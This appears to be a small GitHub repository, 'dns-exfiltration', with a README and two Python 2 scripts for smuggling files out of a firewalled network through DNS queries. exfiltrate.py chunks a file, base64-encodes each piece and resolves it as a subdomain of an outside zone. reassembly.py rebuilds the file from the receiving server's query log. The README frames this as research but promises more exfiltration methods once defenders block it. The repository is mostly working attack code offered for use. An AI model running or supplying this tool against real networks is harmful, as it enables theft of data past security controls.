├── .gitignore ├── README.md ├── exfiltrate.py └── reassembly.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | 3 | # C extensions 4 | *.so 5 | 6 | # Packages 7 | *.egg 8 | *.egg-info 9 | dist 10 | build 11 | eggs 12 | parts 13 | bin 14 | var 15 | sdist 16 | develop-eggs 17 | .installed.cfg 18 | lib 19 | lib64 20 | 21 | # Installer logs 22 | pip-log.txt 23 | 24 | # Unit test / coverage reports 25 | .coverage 26 | .tox 27 | nosetests.xml 28 | 29 | # Translations 30 | *.mo 31 | 32 | # Mr Developer 33 | .mr.developer.cfg 34 | .project 35 | .pydevproject 36 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | dns-exfiltration 2 | ================ 3 | 4 | Exfiltrate files via DNS. Based on [research by 16 Systems](http://16s.us/dns/). 5 | 6 | ### What the DNS Queries Look Like in Your Server's DNS Query Log 7 | 8 | ``` 9 | # The base64 encoded data is the payload 10 | # Each query contains 8 bytes from the file 11 | 12 | 26-Aug-13 18:12:39 queries: info: client 8.x.x.x#18743: 13 | query: AAAAAAAAAAAxMjM0NTY3OA==.file1.16s.us IN A -ED (2.x.x.x) 14 | 26-Aug-13 18:12:49 queries: info: client 8.x.x.x#59519: 15 | query: AQAAAAAAAAA5MAoAAAAAAA==.file1.16s.us IN A -ED (2.x.x.x) 16 | ``` 17 | 18 | ### What the Raw Reassembled File Looks Like 19 | 20 | ``` 21 | # First element is the sequence number. Second is bytes from file. 22 | # You need the sequence number to reassemble the file in the right order. 23 | 24 | (0, '12345678') 25 | (1, '90\n\x00\x00\x00\x00\x00') 26 | ``` 27 | 28 | ### That's It 29 | 30 | This can be automated and made to be very efficient, but I won't get into that. It also works on very large files (2^32 * 8) and with any type of file (text, binary, etc). So, now you know how to exfiltrate files from a firewalled network using simple DNS queries. When/if the network security team figures this out and blocks it, I'll demonstrate a few other ways in which data can be exfiltrated. 31 | 32 | Again, this information is meant for research/educational purposes only. 33 | 34 | ### Related Work 35 | 36 | - [iodine](http://code.kryo.se/iodine/) 37 | - [OzymanDNS](http://en.cship.org/wiki/OzymanDNS) 38 | - [DNStunnel.de](http://dnstunnel.de/) 39 | - http://tools.ietf.org/html/draft-vixie-dnsext-dns0x20-00 40 | -------------------------------------------------------------------------------- /exfiltrate.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import base64 3 | import struct 4 | """ Break a large file into small 8 byte chunks 5 | Sequence the chunks, pack and b64 encode them 6 | Then send DNS queries """ 7 | 8 | # If you don't like non-valid characters in the hostname, 9 | # then use hex encoding rather than base64 10 | DNS_ZONE = ".file1.16s.us" 11 | socket.setdefaulttimeout(1) 12 | def break_file(filename): 13 | try: 14 | fp = file(filename, 'rb') 15 | part = 0 16 | while 1: 17 | data = fp.read(8) 18 | if data: 19 | try: 20 | # Binary pack the data uint32 + 8 byte string 21 | payload = struct.pack('L8s', part, data) 22 | b64_payload = base64.b64encode(payload) 23 | part = part+1 24 | print part 25 | # This will throw an exception, ignore it 26 | socket.gethostbyname(b64_payload + DNS_ZONE) 27 | except Exception: 28 | continue 29 | else: 30 | print "Complete" 31 | break 32 | fp.close() 33 | except Exception, e: 34 | print e 35 | 36 | # Run Program 37 | break_file('test.txt') 38 | -------------------------------------------------------------------------------- /reassembly.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import struct 3 | 4 | """ Reassemble small 8 byte chunks back into original file """ 5 | 6 | file_chunks = [] 7 | the_file = "\n---\n" 8 | 9 | def back(chunk): 10 | b64_payload = chunk.split(".")[0] 11 | payload = base64.b64decode(b64_payload) 12 | file_data = struct.unpack('L8s', payload) 13 | file_chunks.append(file_data) 14 | 15 | # Run Program 16 | 17 | queries = [] 18 | 19 | fp = open("/path/to/dns/query/log") 20 | lines = fp.readlines() 21 | fp.close() 22 | 23 | for line in lines: 24 | if "file1.16s.us" in line: 25 | FQDN = line.split()[7] 26 | queries.append(FQDN.strip()) 27 | 28 | uqueries = set(queries) 29 | 30 | for q in uqueries: 31 | back(q) 32 | 33 | file_chunks.sort() 34 | 35 | for fc in file_chunks: 36 | the_file += fc[1] 37 | 38 | the_file += "\n---\n" 39 | print the_file 40 | --------------------------------------------------------------------------------